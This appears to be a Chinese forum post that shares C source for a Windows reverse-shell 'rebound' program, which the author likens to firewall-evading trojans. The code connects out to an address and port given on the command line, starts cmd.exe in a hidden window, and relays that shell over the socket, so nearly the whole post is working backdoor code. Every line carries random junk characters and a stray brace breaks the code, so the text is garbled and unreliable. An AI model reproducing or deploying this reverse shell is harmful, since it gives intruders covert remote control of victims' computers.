这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 w8
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/* ============================== %7#Zb '
Rebound port in Windows NT {*<C!Qg
By wind,2006/7 ]eW|}V7A:
===============================*/ 1Ol]^'y7)
#include ugB{2oq i
#include LrMFzd}_O
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#pragma comment(lib,"wsock32.lib") h'~-K`
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void OutputShell(); >U<nEnB$?
SOCKET sClient; yk<jlVF$j
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; N o(f0g.
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void main(int argc,char **argv) #sU~fq
{ u;Eu<jU1
WSADATA stWsaData; prN(V1O
int nRet; U.U.\
SOCKADDR_IN stSaiClient,stSaiServer; EcoUpiL%2
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if(argc != 3) ?(q*U!=
{ rx>Tc#g
printf("Useage:\n\rRebound DestIP DestPort\n"); 4i/q^;`
return; 0>=)
} J&:W4\ m
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WSAStartup(MAKEWORD(2,2),&stWsaData); zm+4Rl(
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wLSZL
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stSaiClient.sin_family = AF_INET; jF{gDK
stSaiClient.sin_port = htons(0); ;j U-<
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -]\E}Ti
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9K46>_TyH
{ Czr4
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printf("Bind Socket Failed!\n"); ^70 .g?(f[
return; 4 Qel;
} g[au-.:
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stSaiServer.sin_family = AF_INET; fslk7RlSKg
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); a^c,=X3
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); N~5WA3xd
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) s.;KVy,=Bu
{ G^rh*cb K
printf("Connect Error!"); l ~4e2xoT
return; /;nO<X:XV
} 2${,%8"0s
OutputShell(); m0\"C-Bk
} n5k^v$'
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void OutputShell() .;Utkf'I
{ Z#Zzi5<
char szBuff[1024]; 4zqE?$HM'
SECURITY_ATTRIBUTES stSecurityAttributes; \kV7NA
OSVERSIONINFO stOsversionInfo; "aWX:WL&}s
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >9tkx/J
STARTUPINFO stStartupInfo; A,lw-(.z4Z
char *szShell; 3]`qnSYBv
PROCESS_INFORMATION stProcessInformation; "UoCT7X
unsigned long lBytesRead; )fd-IYi-3
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0Dm`Ek3A7x
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); nhP~jJn
stSecurityAttributes.lpSecurityDescriptor = 0; oyN+pFVB:$
stSecurityAttributes.bInheritHandle = TRUE; ccN &h
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [wy3Ld
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); S?nNZW\6[
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); z<[.MH`ln
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U.pr} hq
stStartupInfo.wShowWindow = SW_HIDE; *M5$ h*;v
stStartupInfo.hStdInput = hReadPipe; 2>MP:yY;K
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Eo {1y
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GetVersionEx(&stOsversionInfo); }U?gKlLg
p21=$?k!;
switch(stOsversionInfo.dwPlatformId) @%G' U&R{
{ D2TXOPH
case 1: SJ@8[n.x
szShell = "command.com"; 7:VEM;[d
break; Xw*%3'
default:
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szShell = "cmd.exe"; !QQ<Ai!E
break; k\Z;Cmh>
} 1FD7~S|
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5gc:Y`7t
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send(sClient,szMsg,77,0); ]m/@wW9
while(1) A|
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{ !8
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); SA`J.4yn
if(lBytesRead) [I++>4
{ 7dufY
} }
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); iO?gF
send(sClient,szBuff,lBytesRead,0); c+E//X|
} SrQ4y`?
else Y uw
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{ 2pxWv
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lBytesRead=recv(sClient,szBuff,1024,0); rY[3_ NG%
if(lBytesRead<=0) break; (EOec5qXU
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]xJ'oBhy
} ~4=]%XYz
} ,<;l"v(
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return; :\1rQT
}